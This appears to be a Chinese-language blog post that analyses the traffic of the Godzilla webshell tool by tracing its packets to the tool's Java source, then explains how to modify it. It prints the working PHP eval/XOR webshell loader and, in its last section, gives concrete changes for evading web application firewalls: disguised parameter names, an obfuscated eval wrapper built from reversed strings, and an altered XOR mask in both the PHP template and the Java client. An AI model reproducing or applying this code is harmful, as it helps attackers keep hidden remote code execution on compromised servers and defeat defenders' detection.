数据包

针对数据包,无论是点测试还是添加成功后进入,都会有共计三个数据包发送

咱们以最简单的一句话木马为例

第一个

POST请求中存在pass和key两个值,分别对应webshell测试时候的密码和密钥(会在后面分析为啥是这俩),其中key值是很长一大串的加密字符暂时不能确定是什么方式加密的,而pass很明显的可以解读出来是base64->翻转->url,等下分析里面的内容是什么

第二个

请求包中pass和第一个一致,key暂时未知,但是返回包中出现貌似存在base64但不完全是的加密方式

第三个

除了key都一样,下图是点击测试的结果

下图是点击进入的结果,应该是进入了之后返回的数据加密了

流量分析

对于pass,按照url->翻转->base64顺序解码得到的明文为

这是php代码但是没有<?php标识解析。然后在源码中找,肯定是哪里调用了一个模板而生成的。

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

果然是,继续搜索这个base64.bin文件,去找哪儿加载了它

在这个方法中,判断为假的话会调用base64.bin,然后传递来的pass和secretKey会替换模板文件中被{括号}的内容。这个文件没法执行,于是去找调用了它的主类

public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
        byte[] data = null;
        try {
            InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "base64.bin"));
            String code = new String(functions.readInputStream(inputStream));
            inputStream.close();
            code = code.replace("{pass}", pass).replace("{secretKey}", secretKey);
            code = TemplateEx.run(code);
            data = code.getBytes();
        } catch (Exception e) {
            Log.error(e);
        }
        return data;
    }

最后在主类中找到

仔细观察橙色部分内容,这不正是在数据包中url解码后看到的内容吗?能确定pass的内容是从这里传递过去的,

    public String generateEvalContent() {
        String eval = new String(Generate.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), false)).replace("<?php", "");
        eval = functions.base64EncodeToString(eval.getBytes());
        eval = new StringBuffer(eval).reverse().toString();
        eval = String.format("eval(base64_decode(strrev(urldecode('%s'))));", URLEncoder.encode(eval));
        eval = URLEncoder.encode(eval);
        return eval;
    }

对pass的分析过程可以总结为主类中调用Generate类的GenerateShellLoder方法,传递三个参数过去,Generate类的GenerateShellLoder根据得到的参数选择对应bin文件并且替换掉bin文件的某些字符,然后回到主类base64->翻转->url加密->拼接成php代码->url加密

加密两次是因为浏览器本来就会自动解密一次,拼接为php代码是为了。。。

本来我们就已经上传木马文件以POST接收pass为条件来运行代码,pass通过数据包发送过去,我们拼接成php的目的就是为了执行代码,因为eval里存在<?php的话会报错所以删掉了

分析完pass后咱们看看key是何方神圣,首先他是一段很长很长很长的加密内容,在原项目中的确有很长的模板文件,但是没有证据能证明是他,就在我百思不得其解的时候,我把目光放到了pass上

首先我们已经有后门eval($POST["pass"])的存在了,并且也成功将pass传递过去了,但是在这里他为什么还要接收一个key值,而key刚好又是数据包的第二个参数呢?

仔细看这段代码是对接收到的key先base64解码然后异或的,于是我把数据包中的key按照这个顺序解码

得到的内容就和某个模板文件一样了

那么key的出厂过程,首先是被PhpShell类中的getPayload()读取内容

    public byte[] getPayload() {
        byte[] data = null;
        try {
            InputStream fileInputStream = PhpShell.class.getResourceAsStream("assets/payload.php");
            data = functions.readInputStream(fileInputStream);
            fileInputStream.close();
        } catch (Exception e) {
            Log.error(e);
        }
        return data;
    }

然后在初始化操作中赋值发送

public void init(ShellEntity context) {
        this.shell = context;
        this.http = this.shell.getHttp();
        this.key = this.shell.getSecretKeyX().getBytes();
        this.pass = this.shell.getPassword();
        String findStrMd5 = functions.md5(this.shell.getSecretKey() + new String(this.key));
        this.findStrLeft = findStrMd5.substring(0, 16);
        this.findStrRight = findStrMd5.substring(16);
        this.evalContent = this.generateEvalContent();
        try {
            this.payload = this.shell.getPayloadModule().getPayload();
            if (this.payload != null) {
                this.http.sendHttpResponse(this.payload);
                this.state = true;
            } else {
                Log.error("payload Is Null");
            }
        } catch (Exception e) {
            Log.error(e);
            return;
        }
    }

但是此时的this.payload对应的只有key没有pass,并且key值是以byte数组的形式存在的,而不是到url后那么一大串的加密,说明sendHttpResponse(this.payload);中还调用了加密和整合到一起的函数

翻找代码就找到了这个加密函数,刚好具备一切条件

    public byte[] E(byte[] cs) {
        int len = cs.length;
        for (int i = 0; i < len; ++i) {
            cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF]);
        }
        return (String.format("%s=%s&", this.pass, this.evalContent) + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
    }

我调试了一下整个过程,发现整个逻辑为:生成完pass的内容后就去模板文件找到payload.php,读取里面的内容后转为byte数组类型给到this.payload,然后在sendHttpResponse后去执行了加密和合并操作,最后才发送

这下就分析完整个第一个数据包,第二个主要看key和返回包

key解码得到,个人感觉第二个包主要为了建立连接,如果第一个包过2不过就爆初始化错误,1过2过3不过就爆java异常

返回包的值是pass中输出的内容,至于为什么嘛,首先是本来pass里就有输出,其次在执行完eval后,受控端会返回执行结果,这仨相当于起到了校验的作用,如果不对会连接不上。更明显的就是编码形式,中间卡两个等于号谁认不到啊。就暂时不去一步步加解密证明了。。。

第三个数据包的key长这样

当然也有可能是这样的,取决于选择的是测试还是进入

修改

说了这么多,在哪儿能修改能混淆绕waf呢?

首先是最简单的弱特征,修改请求头啊,加点参数追加数据什么的

然后就是这里,尽量换一个参数传递,长得冠冕堂皇什么的,比如iPhone_nums

接着就是那段一眼可以看出来是什么加密方式的部分(明摆着告诉你了),可以利用php的特性写成下面的方式(我多加了一个base64)

    public String generateEvalContent() {
        String eval = new String(Generate.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), false)).replace("<?php", "");
        eval = functions.base64EncodeToString(eval.getBytes());
        eval = new StringBuffer(eval).reverse().toString();
        eval = functions.base64EncodeToString(eval.getBytes());
        eval = String.format("$s=['base64_','strrev','decode','edoced_46esab'];$Q=strrev($s[3]);$m='url'.$s[2];$x=$s[0].$s[2];eval($Q($s[1]($x($m('%s')))));\n", URLEncoder.encode(eval));
        eval = URLEncoder.encode(eval);
        return eval;
    }

然后修改完pass也不能忘掉key,毕竟如果匹配到是先异或再base64解密基本上得到明文也能确定是哥斯拉了,共需要在三处部分修改(一处E本地加密,因为在发送http请求之前会对key对应内容异或,base64。一处encode($D,$K)远端解密,会在http发送后->执行pass内容,POST接收传来的key,base64,异或。一处为D,作为本地的解密),针对模板文件base64.bin,PhpEvalXor.java。主要是将异或由15改为10,没啥特别的操作,如果有代码开发能力可以在上面仨函数中同步修改,这样他就解不了码

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&10];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='{pass}';
$payloadName='payload';
$key='{secretKey}';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
       eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
public byte[] E(byte[] cs) {
        int len = cs.length;
        for (int i = 0; i < len; ++i) {
            cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xA]);
        }
        return (String.format("%s=%s&", this.pass, this.evalContent) + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
    }

    public byte[] D(String data) {
        byte[] cs = functions.base64Decode(data);
        int len = cs.length;
        for (int i = 0; i < len; ++i) {
            cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xA]);
        }
        return cs;
    }

抓包看一下数据,第一个参数特征不那么明显了,大部分字符都被url加密,第二个变化是因为key变了,第三个是因为修改了eval()内容产生的变化(点的是进入)